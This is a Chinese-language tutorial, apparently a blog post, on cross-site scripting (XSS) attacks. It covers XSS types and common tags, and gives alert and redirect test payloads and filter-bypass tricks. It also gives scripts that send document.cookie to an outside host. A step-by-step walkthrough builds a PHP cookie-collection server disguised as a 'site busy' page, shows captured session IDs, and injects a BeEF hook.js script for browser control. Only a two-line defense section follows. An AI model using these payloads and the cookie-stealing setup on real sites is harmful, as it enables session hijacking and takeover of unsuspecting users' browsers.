声明: 所有文档均用于安全测试加强防护,若作它用后果自负.
什么是XSS攻击?
XSS是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些恶意代码,嵌入到web页面中去.使得别的用户访问都会执行相应的嵌入代码. 从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式.
与其他攻击方式有所区别的是大部分的攻击针对的是服务器进行攻击,而XSS攻击的是客户机,从而间接方式去侵害公司或者用户的利益.通常情况下XSS攻击是通过页面挂马的情况下,对服务器并没有直接的攻击效果,但是用户去浏览页面时就会直接或者间接的方式损害其利益.
XSS攻击原理:
XSS攻击的原理是网站没有对用户提交的数据进行转义处理或者过滤不足
的缺点.被恶意攻击者利用进而添加一些代码例如JavaScript,Java, VBScript,ActiveX, Flas,html
,嵌入到web页面中去.使别的用户访问都会执行相应的嵌入代码.从而导致用户信息泄露,危及公司和用户的资产安全.
通常利用者会利用XSS攻击直接做那些事?
比较常见的是直接通过XSS攻击盗取各类用户的账号,强制发送电子邮件,网站挂马,控制受害者机器发起其它攻击行为.通常情况下恶意攻击者会利用用户账号等信息,做其他更有攻击或更有利益的非法行为.
XSS示例图

注: 图片中只描述了一种攻击方式,还有其他的类型的攻击方式.当然除了模拟用户登录还可以在线操控用户A的浏览器.
常见的XSS攻击行为分类
-
反射型XSS攻击
能够
同时满足
下列条件即可被定义为具有反射型XSS攻击的威胁的表单.- GET提交方式的表单 .
- 前端提交前未做限制特殊符号的限制.
- 后端未做提交内容有效性和危害性做检测.
- 能够生成XSS的攻击URL链接.
-
存储型XSS攻击(也被称为持久型的XSS威胁,危害最大)
- 前端提交前未做限制特殊符号的限制.
- 后端未做提交内容有效性和危害性做检测.
- 能够将
提交的内容完整的未经过转义的存储在服务器
并展示在页面上.
-
DOM型XSS攻击
XSS脚本中的各种标签
- HTML语言中常用于xss攻击的标签.
<iframe>
创建一个包含另外一个文档的内联框架.俗称行内框架.
<testarea>
定义多行的文本输入控件.
<img>
元素向网页中嵌入一幅图像.
<script>
用于定义客户端脚本
- javaScript语言中常用于XSS攻击的方法.
alter()
方法用于弹出一个带有确认按钮的警告框.
window.location()
用于获得当前页面的URL地址,并把浏览器重定向到新的页面.
location.href()
返回当前显示的文档的完整URL.
onload()
一张页面或一幅图像完成加载.
onsubmit()
确认按钮被点击.
onerror()
在加载文档或图像时发生错误.
- 注: 本篇文档中所涉及的XSS攻击脚本很少,如果想了解更多的攻击脚本请自行Google, 我不喜欢莆田系.
手动测试页面是否包含受XSS攻击威胁的漏洞
- 弹窗警告测试
- 只要能够通过这个弹窗警告测试,那么说明这个页面将会有可能受到XSS攻击漏洞的威胁.
javaScript弹窗警告:<script>alert('1')</script>
- 其他xss测试
javaScript页面重定向:<script>window.location=http://www.baidu.com""</script>
html页面嵌套:<iframe src="http://www.baidu.com"></iframe>
手工测试攻击绕开检测手段
- 使用其他标签隐藏
<img src="#" onerror=alert(/1/)>
<img src="http://....js"></img>
- 使用大小写绕开验证
<ScRIpT>alert('1')</ScRIpT>
- 采用URL,base64等字符编码
<a href="aHR0cHMlM0EvL3d3dy5iYWlkdS5jb20=">测试</a>
收集用户cookie
禁止用于非法途径,若做它用后果自负!
使用不同的标签可以让waf防火墙降低敏感度.
1. <script>window.open("http://url?cookie="+document.cookie)</script>
2. <script>document.location.href="http://url?cookie="+document.cookie)</script>
3.<script>new Image().src="http://url?cookie="+document.cookie)</script>
以存储型XSS威胁的Cookie收集攻击手段
- 准备网站服务器,收集受到XSS的用户Cookie信息.
lqh@lqh:~$ kvmclone collection_of_cookie
Formatting '/var/lib/libvirt/images/collection_of_cookie.qcow2', fmt=qcow2 size=32212254720 backing_file=/var/lib/libvirt/images/.back.qcow2 cluster_size=65536 lazy_refcounts=off refcount_bits=16
Domain collection_of_cookie defined from /etc/libvirt/qemu/collection_of_cookie.xml
VM collection_of_cookie Create
# 从后端盘克隆一台服务器准备做cookie收集机器.
lqh@lqh:~$ virsh start collection_of_cookie
Domain collection_of_cookie started
# 启动cookie收集服务器
lqh@lqh:~$ virsh console collection_of_cookie
#连接到终端
[root@localhost ~]# setnet.py 0 192.168.1.51
写入成功,可喜可贺.
#通过自己后端盘定义的脚本设置服务器IP
[root@localhost ~]# exit
logout
lqh@lqh:~$ ssh root@192.168.1.51
Warning: Permanently added '192.168.1.51' (ECDSA) to the list of known hosts.
Last login: Sun Feb 2 13:08:06 2020
Virtual host...
# 使用远程登录到服务器
[root@localhost ~]# hostnamectl set-hostname cookieServer
# 设置主机名
[root@localhost ~]# yum install -y php httpd
# 安装httpd 和 php环境,因为我这边cookie收集准备使用php编写
已加载插件:fastestmirror
Determining fastest mirrors
local | 3.6 kB 00:00
(1/2): local/group_gz | 165 kB 00:00
(2/2): local/primary_db | 6.0 MB 00:00
正在解决依赖关系
--> 正在检查事务
---> 软件包 httpd.x86_64.0.2.4.6-90.el7.centos 将被 安装
--> 正在处理依赖关系 httpd-tools = 2.4.6-90.el7.centos,它被软件包 httpd-2.4.6-90.el7.centos.x86_64 需要
--> 正在处理依赖关系 /etc/mime.types,它被软件包 httpd-2.4.6-90.el7.centos.x86_64 需要
--> 正在处理依赖关系 libaprutil-1.so.0()(64bit),它被软件包 httpd-2.4.6-90.el7.centos.x86_64 需要
--> 正在处理依赖关系 libapr-1.so.0()(64bit),它被软件包 httpd-2.4.6-90.el7.centos.x86_64 需要
---> 软件包 php.x86_64.0.5.4.16-46.el7 将被 安装
--> 正在处理依赖关系 php-common(x86-64) = 5.4.16-46.el7,它被软件包 php-5.4.16-46.el7.x86_64 需要
--> 正在处理依赖关系 php-cli(x86-64) = 5.4.16-46.el7,它被软件包 php-5.4.16-46.el7.x86_64 需要
--> 正在检查事务
---> 软件包 apr.x86_64.0.1.4.8-5.el7 将被 安装
---> 软件包 apr-util.x86_64.0.1.5.2-6.el7 将被 安装
---> 软件包 httpd-tools.x86_64.0.2.4.6-90.el7.centos 将被 安装
---> 软件包 mailcap.noarch.0.2.1.41-2.el7 将被 安装
---> 软件包 php-cli.x86_64.0.5.4.16-46.el7 将被 安装
---> 软件包 php-common.x86_64.0.5.4.16-46.el7 将被 安装
--> 正在处理依赖关系 libzip.so.2()(64bit),它被软件包 php-common-5.4.16-46.el7.x86_64 需要
--> 正在检查事务
---> 软件包 libzip.x86_64.0.0.10.1-8.el7 将被 安装
--> 解决依赖关系完成
依赖关系解决
================================================================================
Package 架构 版本 源 大小
================================================================================
正在安装:
httpd x86_64 2.4.6-90.el7.centos local 2.7 M
php x86_64 5.4.16-46.el7 local 1.4 M
为依赖而安装:
apr x86_64 1.4.8-5.el7 local 103 k
apr-util x86_64 1.5.2-6.el7 local 92 k
httpd-tools x86_64 2.4.6-90.el7.centos local 91 k
libzip x86_64 0.10.1-8.el7 local 48 k
mailcap noarch 2.1.41-2.el7 local 31 k
php-cli x86_64 5.4.16-46.el7 local 2.7 M
php-common x86_64 5.4.16-46.el7 local 565 k
事务概要
================================================================================
安装 2 软件包 (+7 依赖软件包)
总下载量:7.7 M
安装大小:27 M
Downloading packages:
(1/9): apr-1.4.8-5.el7.x86_64.rpm | 103 kB 00:00
(2/9): apr-util-1.5.2-6.el7.x86_64.rpm | 92 kB 00:00
(3/9): httpd-tools-2.4.6-90.el7.centos.x86_64.rpm | 91 kB 00:00
(4/9): httpd-2.4.6-90.el7.centos.x86_64.rpm | 2.7 MB 00:00
(5/9): libzip-0.10.1-8.el7.x86_64.rpm | 48 kB 00:00
(6/9): mailcap-2.1.41-2.el7.noarch.rpm | 31 kB 00:00
(7/9): php-5.4.16-46.el7.x86_64.rpm | 1.4 MB 00:00
(8/9): php-cli-5.4.16-46.el7.x86_64.rpm | 2.7 MB 00:00
(9/9): php-common-5.4.16-46.el7.x86_64.rpm | 565 kB 00:00
--------------------------------------------------------------------------------
总计 69 MB/s | 7.7 MB 00:00
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
正在安装 : apr-1.4.8-5.el7.x86_64 1/9
正在安装 : apr-util-1.5.2-6.el7.x86_64 2/9
正在安装 : httpd-tools-2.4.6-90.el7.centos.x86_64 3/9
正在安装 : libzip-0.10.1-8.el7.x86_64 4/9
正在安装 : php-common-5.4.16-46.el7.x86_64 5/9
正在安装 : php-cli-5.4.16-46.el7.x86_64 6/9
正在安装 : mailcap-2.1.41-2.el7.noarch 7/9
正在安装 : httpd-2.4.6-90.el7.centos.x86_64 8/9
正在安装 : php-5.4.16-46.el7.x86_64 9/9
验证中 : mailcap-2.1.41-2.el7.noarch 1/9
验证中 : httpd-tools-2.4.6-90.el7.centos.x86_64 2/9
验证中 : apr-util-1.5.2-6.el7.x86_64 3/9
验证中 : httpd-2.4.6-90.el7.centos.x86_64 4/9
验证中 : apr-1.4.8-5.el7.x86_64 5/9
验证中 : php-cli-5.4.16-46.el7.x86_64 6/9
验证中 : libzip-0.10.1-8.el7.x86_64 7/9
验证中 : php-5.4.16-46.el7.x86_64 8/9
验证中 : php-common-5.4.16-46.el7.x86_64 9/9
已安装:
httpd.x86_64 0:2.4.6-90.el7.centos php.x86_64 0:5.4.16-46.el7
作为依赖被安装:
apr.x86_64 0:1.4.8-5.el7 apr-util.x86_64 0:1.5.2-6.el7
httpd-tools.x86_64 0:2.4.6-90.el7.centos libzip.x86_64 0:0.10.1-8.el7
mailcap.noarch 0:2.1.41-2.el7 php-cli.x86_64 0:5.4.16-46.el7
php-common.x86_64 0:5.4.16-46.el7
完毕!
[root@localhost ~]# vim /var/www/html/get_c.php
<?php
echo "对不起,目前站点繁忙,请稍后再试!";
// 用于伪装,同时用于自己测试PHP环境是否工作正常.
$Cookie = $_GET['cookie'];
// 从get请求中取到cookie
$cookie_Log = fopen("/log/cookie_log.log", "a");
// 以追加方式打开一个流对象 文件名:cookie_log.log 日志文件路径为:/log
fwrite($cookie_Log, $Cookie . "\n");
// 将取到的cookie写入到流对象中,并已换行符区分
fclose($cookie_Log);
// 关闭流对象
?>
# 编写一个PHP web页面用于收集用户的cookie , 高呼PHP是世界上最好的语言
[root@localhost ~]# mkdir /log
[root@localhost /]# chown apache:apache /log/
# 创建/log目录并将目录属主设置为apache
[root@localhost ~]# systemctl start httpd
# 启动httpd服务
[root@localhost httpd]# curl localhost/get_c.php
对不起,目前站点繁忙,请稍后再试![root@localhost httpd]#
# 测试是否搭建成功
- 构建XSS代码并植入到WEB页面.
<script>document.location.href="http://192.168.1.51/get_c.php?cookie="+document.cookie</script>
-
如果说页面前段上有字数限制,我们使用浏览器的开发者工具将其去掉限制.
-
等待用户触发XSS攻击代码并将Cookie提交到之前准备的服务器上.
[root@localhost httpd]# tail -f /log/cookie_log.log
security=low; PHPSESSID=ebe8mv0bmj3f7lmht979g3ssq2
security=low; PHPSESSID=tckdm41rl64a4h33jakdo54mv2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
security=low; PHPSESSID=tckdm41rl64a4h33jakdo54mv2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
- 对收集的Cookie进行利用.
自动化XSS威胁测试
-
使用强大的BeEF开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透.
-
安装BeEF
root@lqh:/home/lqh# sudo apt-add-repository -y ppa:brightbox/ruby-ng
# 添加ruby的仓库,必须要ruby环境
root@lqh:/home/lqh# apt-get install ruby -y
# 安装ruby环境
root@lqh:/home/lqh# gem install bundler
# 安装bundler
root@lqh:/home/lqh# sudo apt-add-repository -y ppa:rael-gc/rvm
# 添加rvm仓库
root@lqh:/home/lqh# sudo apt-get install rvm -y
# 安装rvm
root@lqh:/home/lqh# git clone https://gitee.com/lai_qinghua_admin/beef.git
# clone 在gitee上面速度贼快,我的公开的你们随便用
root@lqh:/home/lqh# cd beff
root@lqh:/home/lqh# ./install
# 开始安装
# 中间卡在升级rubygems哪里 需要把rubygems默认源改成阿里云
root@lqh:/# gem sources
# 查看默认源
root@lqh:/# gem sources --remove
#根据上调指令返回的结果移除掉这个默认源
root@lqh:/# gem sources -a https://mirrors.aliyun.com/rubygems/
# 添加阿里云源
root@lqh:/# gem update --system
#开始升级 贼快
# 重新到BeEF文件夹去执行安装脚本即可,就不会卡住了哦.
Latest version already installed. Done.
[INFO] Detecting bundler gem...
[INFO] bundler gem is installed
Installing required Ruby gems...
# 看来rubygems版本这关过去了.
# 还有不能运行在root用户之下去执行安装脚本.--又重来
[DEPRECATED] The `--without` flag is deprecated because it relies on being remembered across bundler invocations, which bundler will no longer do in future versions. Instead please use `bundle config set without 'test development'`, and stop using this flag
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this
application for all non-root users on this machine.
# 由于升级到最高版本导致报错"其中的 'ConfigMap方法被弃用'"",又得去降级rubygems
/usr/lib/ruby/vendor_ruby/rubygems/defaults/operating_system.rb:30: warning: constant Gem::ConfigMap is deprecated
# 降级了没啥用github上面官方还没有解决这个问题,它们自己都搞不清楚这个问题,所以对不起,我决定启用kali
-
BeEF 开启后会监听所有网卡的3000端口,我们可以直接通过网页连接到它提供的界面.
/ui/panel
-
它提供了我们的XSS攻击代码.
/hook.js
-
在已经确认的注入点上开始注入
<script src="http://192.168.122.148:3000/hook.js"></script>
-
只要被浏览到就会被中招,只要它不离线就可以进行控制其浏览器做各种操作.
--------------------------------此处操作BeEf攻击操作忽略-----------------------------
防御技巧
-
将提交的内容进行转换为网页实体,防止浏览器将其作为HTML元素将其解析.
-
禁止用户输入提交特殊符号.